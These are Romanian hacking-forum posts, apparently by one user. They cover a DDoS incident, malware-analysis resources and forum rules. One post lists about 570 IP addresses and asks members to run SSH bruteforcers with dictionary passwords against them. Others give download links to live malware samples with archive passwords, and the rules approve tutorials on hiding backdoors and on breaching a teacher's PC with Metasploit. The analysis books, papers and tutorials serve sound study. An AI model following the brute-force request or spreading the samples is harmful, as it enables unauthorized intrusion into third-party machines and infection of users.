Nytro

Da, ai dreptate. Folosesc portul 8291. Username admin cica ar fi, sa vad ce parola au. Hai coaie, dai DDOS de pe niste routere? Tool pentru conectarea la acele IP-uri: http://download2.mikrotik.com/winbox.exe

Se pare ca au revenit baietii veseli. Nu prea inteleg de ce atacul DDOS vine dupa ora 00:00, oare pe ce fus orar or fi? In SUA e ora 18:20, in China e 06:00 dimineata. Nu am idee. Ce e interesant e ca vin de pe IP-uri de prin toata lumea. Din lipsa de somn am facut reverse DNS pe o parte dintre ele si rezultatul arata cam asa: 68-191-191-90.static.fdul.wi.charter.com host141-86-static.98-5-b.business.telecomitalia.it h-109-228-132-146.na.cust.bahnhof.se hosted-by.securefastserver.com arx68-8.araxinfo.com 177-069-215-197.static.ctbctelecom.com.br host-201-218-17-202.telconet.net ip-200-53-103-250-mty.marcatel.net.mx Wimax-Cali-190-0-16-58.orbitel.net.co 80-84-117-233.pool.symbios.ru adsl-90-151-59-151.nojabrsk.ru 82-160-137-162.tktelekom.pl yak-3062.union-tel.ru h88-150-189-101.host.redstation.co.uk manserv162.static.host.gvt.net.br shinevskiy.hrf.su expogospel.amplitudenet.com.br FAST-INTERNET-103-246-1-49.solnet.net.id pppoe-dynamic-pool-130.u2net.ru 234-50-251-80.pride-net.ru ip-91-232-85-10.xlnet.cz framan.dfc.unifi.it lvps91-250-113-166.dedicated.hosteurope.de static.217.12.113.67.tmg.md autoplan17-8.autoplan.com.br mail.martinbesta.cz ip-176-192-15-229.bb.netbynet.ru kvartal.brov.org hsreina.shadosoft-tm.com km-unallocated.gtu.net.ua www3386uj.sakura.ne.jp 196.216.74.10.swiftkenya.com clients-pools.vt.cooolbox.bg yak-3062.union-tel.ru lisg-sh.ELANinet.com tokiodance.metronv.ru 95-24-122-21.broadband.corbina.ru ec2-54-242-80-90.compute-1.amazonaws.com ec2-54-251-204-189.ap-southeast-1.compute.amazonaws.com ec2-54-232-227-85.sa-east-1.compute.amazonaws.com mailgw.astellas.com j34440.servers.jiffybox.net du-220-98.sv-en.ru newhost.rapidvps.net server.geek-spot.com PSA.MINAS.netsi.com.br 190-82-89-156.static.tie.cl ip-net-196-43-98-2.africaonline.co.zw netgenius.co.uk static.vdc.vn dsp-fax.dsp-c.co.rs IP.net124-238.psi.net.pa 80-48-126-12.smsiarkowiec.pl 190-94-201-245.ifxnw.com.ve 102.200.23.177.fhpinternet.com.br dial-78-141-120-184.orange.sk static.11.85.40.188.clients.your-server.de hosted-by.securefastserver.com m125.magenta.fastwebserver.de hsreina.shadosoft-tm.com edge.tumblespeed.net ckb1.rutil.net Nu pare nimic neobisnuit insa am fost surprins sa vad multe servere cumparate: securefastserver.com, fastwebserver.de, your-server.de, cateva de compute.amazonaws.com, dedicated.hosteurope.de... Oare au fost toate prinse pe "./scanu" nostru romanesc, sau cineva a investit in asa ceva? Hm, oricum, oricine ar fi in spatele atacurilor nu e o persoana tocmai inteligenta. S-au folosit peste 570 de IP-uri unice, cu asa ceva era oarecum usor sa pici un server, insa nici nu era nevoie sa le dau DROP pentru ca atacul nu facea nici macar load pe server. Aceasta e lista cu IP-urile: 101.109.251.210 101.255.71.18 103.11.159.195 103.16.68.4 103.16.79.195 103.246.1.186 103.246.1.49 106.3.102.215 108.61.36.88 108.61.89.152 109.101.9.48 109.122.48.165 109.185.116.199 109.194.65.175 109.207.61.14 109.227.124.27 109.228.132.146 109.236.220.98 109.69.72.109 116.10.143.18 116.226.47.78 116.228.55.184 116.231.193.132 116.236.216.116 116.66.197.228 1.179.128.2 1.179.144.98 1.179.147.2 119.110.67.200 119.110.75.246 119.187.148.81 119.2.3.222 119.235.50.202 119.2.49.227 119.252.160.99 119.254.90.18 119.6.73.138 119.9.33.171 119.93.7.211 119.97.146.148 121.11.167.246 121.12.167.197 12.199.141.164 123.242.172.4 123.30.75.115 123.63.33.217 130.255.88.65 133.242.141.160 133.242.144.168 136.0.16.210 137.116.122.218 137.135.104.254 137.135.81.169 137.175.29.34 139.0.16.202 141.85.252.136 14.192.159.205 142.0.128.24 142.0.138.34 144.76.63.53 150.140.141.195 150.217.103.160 151.232.41.149 157.7.137.101 162.211.224.30 163.125.156.85 163.142.73.113 1.63.18.22 163.5.69.4 166.111.132.167 170.224.168.197 172.162.165.70 173.208.252.196 173.252.252.218 173.45.83.235 174.142.184.205 175.111.90.35 175.136.192.5 175.139.213.206 175.140.114.207 175.25.243.22 175.25.243.26 176.108.108.111 176.192.15.229 176.194.189.56 176.56.12.48 177.107.97.245 177.129.214.44 177.192.184.45 177.207.243.165 177.21.253.18 177.22.121.34 177.23.200.102 177.43.210.162 177.69.195.4 177.69.215.197 177.73.3.44 178.135.61.179 178.149.45.225 178.208.255.123 178.212.124.111 178.217.9.18 178.248.43.155 179.222.17.43 181.112.217.211 181.114.225.50 181.14.202.100 181.225.59.134 184.107.243.2 184.154.85.245 184.82.214.35 185.8.107.4 185.8.2.18 186.0.202.164 186.101.41.40 186.101.78.110 186.103.130.90 186.103.143.211 186.194.47.46 186.209.106.20 186.215.255.210 186.24.34.178 186.249.79.246 186.3.6.113 186.3.71.155 186.47.122.60 186.65.96.118 186.88.107.73 186.88.55.166 186.89.109.233 186.89.64.6 186.91.196.62 186.92.114.13 186.92.134.50 186.92.5.192 186.93.127.50 186.93.155.113 186.93.209.208 186.93.248.237 186.94.184.195 186.95.122.150 186.95.238.103 186.95.42.166 186.95.79.192 187.102.127.97 187.111.15.221 187.11.123.14 187.120.208.211 187.120.27.22 187.120.34.82 187.12.189.221 187.125.147.178 187.157.32.65 187.41.65.244 187.45.103.200 187.51.57.213 187.52.2.162 187.62.217.81 188.128.99.94 188.129.214.244 188.136.134.231 188.190.164.10 188.40.85.11 188.95.32.186 189.106.23.196 189.114.75.21 189.125.133.50 189.1.8.206 189.203.225.194 189.254.236.185 189.2.80.2 189.2.90.228 189.3.25.146 189.41.177.68 189.44.113.186 189.78.155.168 189.85.22.98 190.0.16.58 190.0.17.202 190.0.33.18 190.0.45.98 190.0.60.238 190.111.122.74 190.121.135.178 190.121.20.61 190.14.255.234 190.146.132.205 190.151.122.38 190.152.80.2 190.153.33.253 190.162.205.240 190.167.196.218 190.181.243.84 190.189.93.245 190.199.108.140 190.199.220.156 190.199.43.52 190.200.176.155 190.202.250.233 190.203.151.104 190.203.215.12 190.203.76.31 190.204.168.238 190.204.246.62 190.204.2.83 190.204.98.120 190.207.188.251 190.207.215.99 190.24.10.122 190.253.60.30 190.37.101.243 190.38.189.52 190.39.22.51 190.39.91.75 190.72.205.104 190.72.32.134 190.74.187.146 190.74.237.37 190.77.220.213 190.77.3.110 190.77.46.194 190.78.241.4 190.78.251.148 190.79.156.43 190.82.89.156 190.85.53.43 190.94.201.245 190.94.206.213 190.94.210.150 190.94.249.130 190.95.225.163 190.96.64.234 192.187.116.226 192.64.11.124 193.110.216.144 193.165.216.52 194.141.252.102 194.19.245.45 194.48.60.26 195.128.157.240 195.135.251.171 195.140.190.146 195.191.13.2 195.222.36.86 195.225.144.38 195.24.210.130 195.24.220.134 195.245.118.5 196.216.74.10 196.219.24.34 196.43.98.2 197.136.42.5 197.161.39.66 197.210.252.44 197.211.32.170 197.220.193.49 197.255.213.146 198.102.28.100 198.2.196.162 198.2.198.33 198.23.128.49 198.24.181.95 198.27.83.105 198.49.70.103 198.50.241.160 198.50.245.105 198.50.96.107 198.52.247.103 198.56.208.37 198.56.238.54 199.15.233.142 199.201.121.139 199.250.198.238 199.255.28.102 200.123.130.129 200.148.94.78 200.192.255.146 200.195.141.178 200.199.139.50 200.222.4.90 200.252.14.166 200.46.124.238 200.52.172.66 200.53.103.250 200.54.92.187 200.60.11.25 200.69.218.221 200.7.33.250 200.84.106.156 200.84.135.195 200.84.15.123 200.84.61.11 200.88.158.250 200.93.56.28 201.12.116.18 201.140.102.173 201.208.103.26 201.208.97.145 201.209.96.176 201.210.202.206 201.211.0.51 201.211.115.254 201.211.129.193 201.211.3.136 201.218.17.202 201.234.133.57 201.234.74.5 201.242.58.89 201.243.159.113 201.248.113.4 201.249.9.139 201.33.29.86 201.49.209.146 201.62.48.153 201.62.48.202 201.64.254.228 203.112.195.238 203.153.214.22 203.161.24.74 203.172.161.211 203.19.4.250 203.24.76.186 203.86.16.230 204.93.54.15 205.202.253.55 206.251.61.230 206.251.61.236 206.251.61.252 207.238.97.13 208.73.22.156 208.83.61.90 208.97.65.4 211.138.129.251 211.140.207.100 211.142.236.132 211.157.114.133 211.167.64.112 212.126.122.160 212.138.92.10 212.165.128.105 212.200.23.18 212.249.11.115 212.50.224.55 212.7.192.139 212.8.206.170 212.91.169.132 213.141.236.133 213.164.18.147 213.181.73.145 213.197.129.70 213.203.182.116 213.211.36.100 213.233.92.78 216.152.144.7 216.244.65.146 216.244.80.50 216.250.7.197 217.12.113.67 217.169.209.2 217.169.214.144 217.169.215.175 217.219.190.209 217.23.192.43 217.24.251.46 217.66.20.245 2.181.177.7 2.183.155.2 2.184.6.10 219.133.127.49 219.133.133.209 219.135.191.141 219.136.231.6 219.137.229.146 219.149.45.42 219.159.105.180 219.159.198.77 219.159.198.8 219.159.198.81 219.159.199.6 219.239.227.81 219.72.225.251 219.83.100.195 220.113.1.73 220.132.19.136 220.247.174.174 24.172.34.114 31.135.196.229 31.14.231.168 31.170.179.35 31.3.231.231 31.47.37.42 31.6.71.198 31.7.144.66 37.200.98.218 37.229.97.21 41.129.244.75 41.130.195.106 41.164.23.162 41.202.77.195 41.203.95.234 41.206.30.178 41.215.245.77 41.215.33.66 41.215.77.250 41.222.196.37 41.230.30.24 41.41.138.226 41.63.163.17 41.73.234.243 41.75.111.162 41.78.26.154 41.79.218.113 41.89.130.6 42.120.18.118 42.61.213.99 46.102.74.14 46.181.135.215 46.18.35.226 46.21.242.130 46.214.137.8 46.248.38.205 46.28.70.153 46.28.70.87 46.60.48.179 5.102.156.25 5.10.85.34 5.10.85.35 5.10.85.36 5.10.85.37 5.135.182.105 5.152.209.105 5.187.32.18 5.35.245.191 54.216.232.179 54.228.190.153 54.232.227.85 54.242.80.90 54.247.119.128 54.251.204.189 59.151.37.8 59.172.208.186 5.9.21.206 59.46.67.108 5.98.86.141 62.162.6.11 62.201.207.14 62.228.76.254 62.240.30.193 63.141.233.148 64.120.160.179 64.181.43.79 64.251.14.41 64.71.156.216 64.79.89.66 66.102.141.186 66.35.68.145 66.35.68.146 67.55.2.15 68.191.191.90 68.71.76.242 69.50.64.153 72.14.175.226 74.118.91.238 74.208.123.225 74.221.209.228 74.252.102.240 74.62.137.190 74.84.137.244 74.95.209.30 75.147.16.244 77.123.76.157 77.52.183.254 77.65.19.35 78.130.201.110 78.141.120.184 78.182.202.223 78.29.9.104 78.47.149.64 79.106.109.206 79.110.119.126 79.110.127.230 79.111.12.199 79.127.120.66 79.174.69.46 79.175.187.2 80.241.44.98 80.251.50.234 80.48.126.12 80.78.232.26 80.82.51.38 80.84.117.233 80.87.82.194 80.98.13.171 81.17.28.169 82.114.95.238 82.160.137.162 82.207.68.142 83.146.70.246 83.235.177.207 84.124.12.2 84.124.159.15 84.129.234.210 84.22.32.222 84.241.37.199 84.40.111.206 84.42.3.3 85.113.38.227 85.114.135.125 85.135.52.30 85.142.225.178 85.234.22.126 85.9.74.111 86.105.82.89 86.120.212.195 87.120.152.173 87.236.210.45 87.236.211.71 87.255.68.8 87.56.228.180 88.150.181.130 88.150.189.101 88.212.48.64 88.255.147.83 88.85.108.16 89.110.41.165 89.165.161.133 89.179.102.126 89.179.244.102 89.190.195.170 89.222.181.225 89.37.196.65 89.77.33.126 90.151.59.151 91.121.8.47 91.214.84.110 91.221.246.62 91.227.23.138 91.230.54.60 91.232.85.10 91.233.188.154 91.237.249.61 91.239.15.115 91.241.21.10 91.250.113.166 91.75.86.97 91.98.155.120 91.98.156.148 92.39.54.161 92.82.190.40 92.84.232.209 92.84.44.59 93.113.82.254 93.190.18.146 93.43.1.66 94.100.0.179 94.142.27.4 94.154.24.1 94.189.135.89 94.198.38.246 94.228.204.10 95.141.236.253 95.154.199.100 95.154.199.200 95.159.105.2 95.181.33.22 95.24.122.21 95.28.54.201 95.65.58.61 95.82.92.39 98.190.245.179 Daca v-ati logat dupa ora 00:00, e posibil sa nu mai aveti acces. Imi dati un PM cu adresa voastra IP si se rezolva. As avea o rugaminte pentru cei cu bruteforcerele de ssh: incercati cateva IP-uri din lista si vedeti daca au IP-uri clasice: qwerty sau mai stiu ce parola de dictionar. E posibil sa fie gasite astfel. Have fun.

Am postat eu codul intreg si aici. Descriere: TDL este unul dintre cele mai cunoscute si mai puternice rootkit-uri scrise vreodata. -------- Hengelo, January 19, 2010. Occasionally a new virus appears that is clever enough to completely deceive anti virus programs. TDL3, a variant of the TDSS rootkit (also known as Alureon) is such a sophisticated virus that is causing sleepless nights for anti virus researchers. The first variant, TDL1, appeared in the summer of 2008 and is still capable to prevent detection by many anti virus programs. In the summer we saw the 2nd variant TDL2. "The TDL3 is one of the most sophisticated viruses I have seen", according to CEO Mark Loman. "The rootkit is piggybacking on a standard driver to avoid detection by anti virus programs." --------- Mai multe informatii:TDL3 rootkit still large issue for anti virus programs - SurfRight

[h=1]Practical Malware Analysis[/h][h=3]The Hands-On Guide to Dissecting Malicious Software[/h] [h=4]Book Description[/h] Malware analysis is big business, and attacks can cost a company dearly. When malware breaches your defenses, you need to act quickly to cure current infections and prevent future ones from occurring. For those who want to stay ahead of the latest malware, Practical Malware Analysis will teach you the tools and techniques used by professional analysts. With this book as your guide, you'll be able to safely analyze, debug, and disassemble any malicious software that comes your way. B R I E F C O N T E N T S About the Authors .........................................................................................................xix Foreword by Richard Bejtlich ..........................................................................................xxi Acknowledgments ........................................................................................................xxv Introduction ............................................................................................................... xxvii Chapter 0: Malware Analysis Primer .................................................................................1 PART 1: BASIC ANALYSIS Chapter 1: Basic Static Techniques....................................................................................9 Chapter 2: Malware Analysis in Virtual Machines.............................................................29 Chapter 3: Basic Dynamic Analysis .................................................................................39 PART 2: ADVANCED STATIC ANALYSIS Chapter 4: A Crash Course in x86 Disassembly ...............................................................65 Chapter 5: IDA Pro .......................................................................................................87 Chapter 6: Recognizing C Code Constructs in Assembly..................................................109 Chapter 7: Analyzing Malicious Windows Programs.......................................................135 PART 3: ADVANCED DYNAMIC ANALYSIS Chapter 8: Debugging.................................................................................................167 www.it-ebooks.info vi Brief Contents Chapter 9: OllyDbg ....................................................................................................179 Chapter 10: Kernel Debugging with WinDbg.................................................................205 PART 4: MALWARE FUNCTIONALITY Chapter 11: Malware Behavior ....................................................................................231 Chapter 12: Covert Malware Launching ........................................................................253 Chapter 13: Data Encoding .........................................................................................269 Chapter 14: Malware-Focused Network Signatures.........................................................297 PART 5: ANTI-REVERSE-ENGINEERING Chapter 15: Anti-Disassembly.......................................................................................327 Chapter 16: Anti-Debugging ........................................................................................351 Chapter 17: Anti-Virtual Machine Techniques .................................................................369 Chapter 18: Packers and Unpacking .............................................................................383 PART 6: SPECIAL TOPICS Chapter 19: Shellcode Analysis ....................................................................................407 Chapter 20: C++ Analysis ...........................................................................................427 Chapter 21: 64-Bit Malware.........................................................................................441 Appendix A: Important Windows Functions ....................................................................453 Appendix B: Tools for Malware Analysis........................................................................465 Appendix C: Solutions to Labs ......................................................................................477 Index .........................................................................................................................733 [TABLE=width: 100%] [TR] [TD=colspan: 2][h=4]Book Details[/h][/TD] [/TR] [TR] [TD=width: 150]Publisher:[/TD] [TD]No Starch Press[/TD] [/TR] [TR] [TD]By:[/TD] [TD]Michael Sikorski, Andrew Honig[/TD] [/TR] [TR] [TD]ISBN:[/TD] [TD]978-1-59327-290-6[/TD] [/TR] [TR] [TD]Year:[/TD] [TD]2012[/TD] [/TR] [TR] [TD]Pages:[/TD] [TD]800[/TD] [/TR] [TR] [TD]Language:[/TD] [TD]English[/TD] [/TR] [TR] [TD]File size:[/TD] [TD]10.6 MB[/TD] [/TR] [TR] [TD]File format: [/TD] [TD]PDF[/TD] [/TR] [TR] [TD=colspan: 2][h=4]eBook[/h][/TD] [/TR] [TR] [TD]Download:[/TD] [TD] Practical Malware Analysis [/TD] [/TR] [/TABLE] [TABLE=width: 100%] [TR] [TD=colspan: 2][h=4]Paper Book[/h][/TD] [/TR] [TR] [TD]Buy: [/TD] [TD]Practical Malware Analysis[/TD] [/TR] [TR] [TD=colspan: 2][h=4]Online Book[/h][/TD] [/TR] [TR] [TD]Read:[/TD] [TD]Practical Malware Analysis[/TD] [/TR] [TR] [TD=colspan: 2][/TD] [/TR] [/TABLE] Mirror: http://www.speedyshare.com/9a5q7/practical-malware-analysis.pdf http://www.girlshare.ro/32812315.8 http://fisierulmeu.ro/520LCPTF5B05/practical-malware-analysis-pdf.html Sursa: Practical Malware Analysis - Free Download eBook - pdf

Scientific but Not Academical Overview of Malware Anti-Debugging, Anti-Disassembly and Anti- VM Technologies Rodrigo Rubira Branco, Gabriel Negreira Barbosa, Pedro Drimel Neto {rbranco,gbarbosa,pdrimel} *NOSPAM* qualys.com Qualys – Vulnerability & Malware Research Labs (VMRL) Version 1.0 1 UPX UPXV200V290MarkusOberhumerLaszloMolnarJohnR eiser Anti-VM (SLDT) Anti-VM (IN) Push Pop Math Instruction Counting PEB NtGlobalFlag PEB's BeingDebugged (Stealth IsDebuggerPresent) UPXv20MarkusLaszloReiser Anti-VM (SLDT) Anti-VM (IN) Push Pop Math Instruction Counting PEB's BeingDebugged (Stealth IsDebuggerPresent) SS register UPX290LZMAMarkusOberhumerLaszloMolnarJohnR eiser Anti-VM (IN) Push Pop Math Instruction Counting PEB's BeingDebugged (Stealth IsDebuggerPresent) SS register UPX20030XMarkusOberhumerLaszloMolnarJohnReis er Anti-VM (IN) Push Pop Math Instruction Counting PEB's BeingDebugged (Stealth IsDebuggerPresent) UPX293300LZMAMarkusOberhumerLaszloMolnarJoh nReiser Anti-VM (IN) Instruction Counting PEB NtGlobalFlag PEB's BeingDebugged (Stealth IsDebuggerPresent) UPXProtectorv10x2 Nothing 2 Armadillo Armadillov171 Instruction Counting Instruction Substitution (push – ret) Armadillov1xxv2xx Nothing 3 PECompact Anti-VM (STR) Anti-VM (SLDT) Anti-VM (IN) Push Pop Math PEB NtGlobalFlag PEB's BeingDebugged (Stealth IsDebuggerPresent) SoftICE – Interrupt 1 Software Breakpoint Detection SS register 4 BobSoftMiniDelphiBoBBobSoft Anti-VM (STR) Anti-VM (SLDT) Anti-VM (IN) Push Pop Math PEB's BeingDebugged (Stealth IsDebuggerPresent) SoftICE – Interrupt 1 SS register 5 ASPack ASPackv212AlexeySolodovnikov ASProtectV2XDLLAlexeySolodo Anti-VM (IN) PEB's BeingDebugged (Stealth IsDebuggerPresent) SS register ASPackv10803AlexeySolodovnikov Anti-VM (IN) PEB's BeingDebugged (Stealth IsDebuggerPresent) ASPackv21AlexeySolodovnikov PEB's BeingDebugged (Stealth IsDebuggerPresent) SS register 6 ProtectSharewareV11eCompservCMS Anti-VM (SLDT) Anti-VM (IN) Instruction Counting PEB's BeingDebugged (Stealth IsDebuggerPresent) Instruction Substitution (push – ret) 7 ASProtect13321RegisteredAlexeySolodovni kov ASProtectv12 Anti-VM (STR) Anti-VM (SLDT) Anti-VM (IN) Push Pop Math PEB's BeingDebugged (Stealth IsDebuggerPresent) SoftICE – Interrupt 1 Software Breakpoint Detection SS register 8 WiseInstallerStub Nothing 9 MaskPEV20yzkzero Anti-VM (SLDT) Anti-VM (IN) Push Pop Math PEB's BeingDebugged (Stealth IsDebuggerPresent) SS register Table 1 – Packers Anti-Reverse Engineering Abstract Malware is widely acknowledged as a growing threat with hundreds of thousands of new samples reported each week. Analysis of these malware samples has to deal with this significant quantity but also with the defensive capabilities built into malware; Malware authors use a range of evasion techniques to harden their creations against accurate analysis. The evasion techniques aim to disrupt attempts of disassembly, debugging or analyse in a virtualized environment. This talk catalogs the common evasion techniques malware authors employ, applying over 50 different static detections, combined with a few dynamic ones for completeness. We validate our catalog by running these detections against a database of 4 million samples (the system is constantly running and the numbers will be updated for the presentation), enabling us to present an analysis on the real state of evasion techniques in use by malware today. The resulting data will help security companies and researchers around the world to focus their attention on making their tools and processes more efficient to rapidly avoid the malware authors' countermeasures. This first of its kind, comprehensive catalog of countermeasures was compiled by the paper's authors by researching each of the known techniques employed by malware, and in the process new detections were proposed and developed. The underlying malware sample database has an open architecture that allows researchers not only to see the results of the analysis, but also to develop and plug-in new analysis capabilities. The system will be made available in beta at Black Hat, with the purpose of serving as a basis for innovative community research. Download: http://media.blackhat.com/bh-us-12/Briefings/Branco/BH_US_12_Branco_Scientific_Academic_Slides.pdf Tutorialul este in scopuri educative

RMAS (Run-Time Malware Analysis System) A Framework for Malware Analysis and Malware Detection Sommario Introduction ....................................................................................................................................................... 3 Architecture ....................................................................................................................................................... 3 Static Analysis .................................................................................................................................................... 4 Static Analysis Conclusion ............................................................................................................................ 5 Dynamic Analysis ............................................................................................................................................... 5 Dynamic Malware Detection Module ........................................................................................................... 9 Dynamic Analysis Conclusion .................................................................................................................... 10 Case Study ....................................................................................................................................................... 11 Scenario 1 .................................................................................................................................................... 11 Scenario 2 .................................................................................................................................................... 11 Scenario 3 .................................................................................................................................................... 11 Future Work..................................................................................................................................................... 12 Conclusion ....................................................................................................................................................... 12 Bibliography ..................................................................................................................................................... 13 Introduction The malware is a threat for our systems because it can hit and retrieve our confidential information by using different attacking vectors. The security of modern computer systems depends on the ability by the users to keep software, OSes and antivirus products up-to-date. Since new viruses or new viral strains are released every day, the antivirus vendors have to update their software and their signatures and then distribute them. Conventional anti-malware programs rely on “static signature” to detect malware, but malware writers improve their codes to make them undetectable and stay one step ahead of static-signature-based detection. The Dynamic Malware Detection Systems are not new concepts, but my project is based on the development and the implementation of a system, called RMAS (Run-Time Malware Analysis System) in order to allow analysts to make dynamic analysis of new malware, to understand the malware behavior and produce a graphical dangerousness level of the analyzed program, by using just one modular tool. RMAS has been developed also because sometimes there are malware samples that the company has to analyze within the organization perimeter for privacy or policy reasons, to prevent leakage of confidential data. For example, malware samples could be gathered from sources such as honeypots of a specific network or from investigations and lots of these software cannot be analyzed from external analysis software, this is the main reason why I developed RMAS. The system has also been developed in order to realize an automated analysis thus limiting human intervention. Download: http://www.kaspersky.com/images/sponchioni,_roberto_-_rmas_a_framework_for_malware_analysis_and_malware_detection-10-98486.pdf

[sample] Facebook Photo_024.JPG-www.facebook.com.exe (Trojan-Dropper.Win32.Dapato.da) L-am gasit prin laptop-ul unui prieten. Nu stiu nimic despre el, e unul dintre clasicii virusi de pe Facebook. Acest fisier este MALWARE. NU IL EXECUTATI! Download: http://www.speedyshare.com/jFv5E/Photo-024.JPG-www.facebook.com.rar http://www.girlshare.ro/32812258.6 http://fisierulmeu.ro/52394QAULDGO/Photo-024-JPG-www-facebook-com-rar.html Parola arhiva: rst Probabil face spam. Ce face pe langa spam? Ramane de vazut.

Nu, nu are rost asa. Daca ai timp, citeste-le si fa un tutorial pornind de la ele, scris si explicat de tine, nu doar tradus.

Da, speakerii nu au voie sa bea in noaptea de dinaintea prezentarii ca iar stam sa ii cautam sa vina la prezentare Nu dam nume!

Malware Analysis Tutorials: a Reverse Engineering Approach Author: Dr. Xiang Fu Roadmap: You need to first follow Tutorials 1 to 4 to set up the lab configuration. Then each tutorial addresses an independent topic and can be completed separately (each one will have its own lab configuration instructions). Malware Analysis Tutorial 1- A Reverse Engineering Approach (Lesson 1: VM Based Analysis Platform) Malware Analysis Tutorial 2- Introduction to Ring3 Debugging Malware Analysis Tutorial 3- Int 2D Anti-Debugging . Malware Analysis Tutorial 4- Int 2D Anti-Debugging (Part II) Malware Analysis Tutorial 5- Int 2D in Max++ (Part III) . Malware Analysis Tutorial 6- Self-Decoding and Self-Extracting Code Segment . Malware Analysis Tutorial 7: Exploring Kernel Data Structure . Malware Analysis Tutorial 8: PE Header and Export Table . Malware Analysis Tutorial 9: Encoded Export Table . Malware Analysis Tutorial 10: Tricks for Confusing Static Analysis Tools . Malware Analysis Tutorial 11: Starling Technique and Hijacking Kernel System Calls using Hardware Breakpoints . Malware Analysis Tutorial 12: Debug the Debugger - Fix Module Information and UDD File . Malware Analysis Tutorial 13: Tracing DLL Entry Point . Malware Analysis Tutorial 14: Retrieve Self-Decoding Key . Malware Analysis Tutorial 15: Injecting Thread into a Running Process . Malware Analysis Tutorial 16: Return Oriented Programming (Return to LIBC) Attack . Malware Analysis Tutorial 17: Infection of System Modules (Part I: Randomly Pick a Driver). Malware Analysis Tutorial 18: Infecting Driver Files (Part II: Simple Infection) . Malware Analysis Tutorial 19: Anatomy of Infected Driver Malware Analysis Tutorial 20: Kernel Debugging - Intercepting Driver Loading . Malware Analysis Tutorial 21: Hijacking Disk Driver Malware Analysis Tutorial 22: IRP Handler and Infected Disk Driver Malware Tutorial Analysis 23: Tracing Kernel Data Using Data Breakpoints Malware Analysis Tutorial 24: Tracing Malicious TDI Network Behaviors of Max++ Malware Analysis Tutorial 25: Deferred Procedure Call (DPC) and TCP Connection Malware Analysis Tutorial 26: Rootkit Configuration Malware Analysis Tutorial 27: Stealthy Loading of Malicious Driver Malware Analysis Tutorial 28: Break Max++ Rootkit Hidden Drive Protection Malware Analysis Tutorial 29: Stealthy Library Loading II (Using Self-Modifying APC) Malware Analysis Tutorial 30: Self-Overwriting COM Loading for Remote Loading DLL Malware Analysis Tutorial 31: Exposing Hidden Control Flow Malware Analysis Tutorial 32: Exploration of Botnet Client Malware Analysis Tutorial 33: Evaluation of Automated Malware Analysis System I (Anubis) Malware Analysis Tutorial 34: Evaluation of Automated Malware Analysis Tools CWSandBox, PeID, and Other Unpacking Tools Sursa: Dr. Fu's Security Blog: Malware Analysis Tutorials: a Reverse Engineering Approach

Gigantii internetului, Facebook, Twitter si Google au picat testul de confidentialitate a datelor, derulat de o companie specializata in securitatea online. Acest lucru a iesit la iveala dupa ce High-Tech Bridge, specializata in securitatea online, a initiat un test prin care sa puna la incercare politicile de confidentialitate a 50 dintre cele mai mari companii de pe internet, potrivit Daily Mail, citat de stirileprotv.ro Astfel, un mesaj privat continand o adresa web a fost trimis folosindu-se sistemele celor 50 de companii. Expertii High-Tech Bridge au asteptat apoi sa vada cine va pica in cursa si va accesa adresa web. La finalul celor zece zile de asteptare, sase din cele 50 de companii au accesat link-ul, amplasat intr-un mesaj privat. Printre cele sase se numara si cei trei giganti, Facebook, Twitter si Google. "Am descoperit ca au accesat link-ul care ar fi trebuit sa fie cunoscut doar de cel care a trimis mesajul si cel care l-a primit. Daca link-urile sunt accesate, nu putem fi siguri ca ce scriem in mesajele private nu este citit de cineva", a declarat seful High-Tech Bridge, Ilia Kolochenko. Reprezentantii Facebook si Twitter au refuzat sa comenteze rezultatele acestui test, in timp ce reprezentantii Google au afirmat ca accesarea link-ului nu reprezinta o problema. Sursa: Facebook, Twitter si Google au picat testul de confidentialitate. Cum te spioneaza cei trei giganti - www.yoda.ro

L-am gasit pe laptop-ul unui prieten. Avea numele "qktier.exe" si "qktier.scr" si infecta stick-urile USB: creaza multe scurtaturi pe acolo si se copiaza cu multe nume. Arhiva contine 2 fisiere: 1. qktier.exe - Trojan.Win32.Agent.xsde 2. Video.exe - Email-Worm.Win32.Brontok.dk (ATENTIE! Are icon de folder dar e executabil!) Mi s-a parut interesant faptul ca atunci cand deschid cmd, autoruns sau autoruns cu un alt nume, da reboot la laptop. Sper sa am putin timp sa ma uit peste el, sunt curios cum "isi da seama" ca am deschis, probabil dupa classname-ul ferestrei, dar vreau sa fiu sigur. Atentie! Aceste fisier sunt MALWARE. NU LE EXECUTATI! Download: http://www.speedyshare.com/DKSkQ/RST-malware.rar http://www.girlshare.ro/32811826.3 http://fisierulmeu.ro/52CYWJ9X40D2/RST-malware-rar.html Parola arhivei: rst Incercati sa nu va infectati cu el, va poate da batai de cap.

1. How to Create a FUD Backdoor - Depinde ce presupune acel tutorial, daca e vorba despre "descarci crypterul x si apesi pe un buton", adica pentru script-kiddies, nu e permis. Daca e vorba despre o metoda de a obfusca sectiune .text, sau de a crypta sectiunile executabilului si despre cum se poate scrie stub-ul de decryptare, e bine-venit. 2. Infecting your Teachers and School Heads - Daca e vorba de "intra aici, descarca si executa asta pe calculatorul profesorului", nu are ce cauta aici. Daca e vorba despre scanarea retelei, gasirea PC-ului profesorului, obtinerea accesului printr-un exploit din Metasploit si mentinerea accesului prin diverse metode, e permis. Am dat doar cateva exemple. Nu vreau sa vad aici tutoriale de rahat, vreau sa fie doar lucruri de calitate si vreau ca incepatorii sa evite aceasta categorie. Am modificat primul post, am specificat detalii la intrebarea ta.

Aceasta categorie este dedicata in exclusivitate analizei malware (termen generic pentru trojan, worm sau orice altceva)! Aici veti gasi: 1. Tutoriale despre analiza malware 2. Exemple de analiza malware 3. Tool-uri necesare pentru analiza malware 4. Cod sursa de malware, pentru a putea fi analizat 5. SAMPLE-uri de MALWARE! Cu alte cuvinte, VIRUSI (pe intelesul tuturor)! NU RULATI executabilele pe care le gasiti aici! Regula importanta: 1. La orice sample postat aici, se va specifica explicit faptul ca este MALWARE si se va explica faptul ca NU TREBUIE EXECUTAT! Categoria se adreseaza persoanelor care detin cel putin cunostinte de baza despre: - ce este un sandbox si ce face - ce e o masina virtuala si cum se foloseste - tool-uri utile: autoruns, Process Monitor, Process Explorer, Wireshark... - pericolele datorate infectarii cu malware Se pot posta programe care doriti sa fie analizate! Daca ati intalnit niste fisiere "suspecte" si vrei ca cineva sa arunce o privire pe ele, puteti posta aici, oferind cateva detalii despre cum ati intrat in posesia acelui fisier. ATENTIE! Nimeni nu o sa va garanteze faptul ca un fisier este infectat/malware sau nu! Cine are timp poate oferi cateva informatii despre fisier si poate SUGERA daca este malitios sau nu. Analiza completa a unui program este foarte complicata si dureaza foarte mult timp, astfel nu puteti stii cu certitudine ca un fisier este sigur 